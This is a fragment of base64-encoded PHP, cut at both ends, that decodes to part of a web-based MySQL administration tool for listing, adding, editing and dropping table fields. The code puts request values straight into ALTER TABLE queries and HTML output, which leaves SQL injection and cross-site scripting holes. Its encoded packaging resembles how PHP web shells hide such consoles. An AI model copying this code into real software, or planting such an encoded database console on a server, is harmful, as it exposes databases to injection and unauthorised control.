vaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cG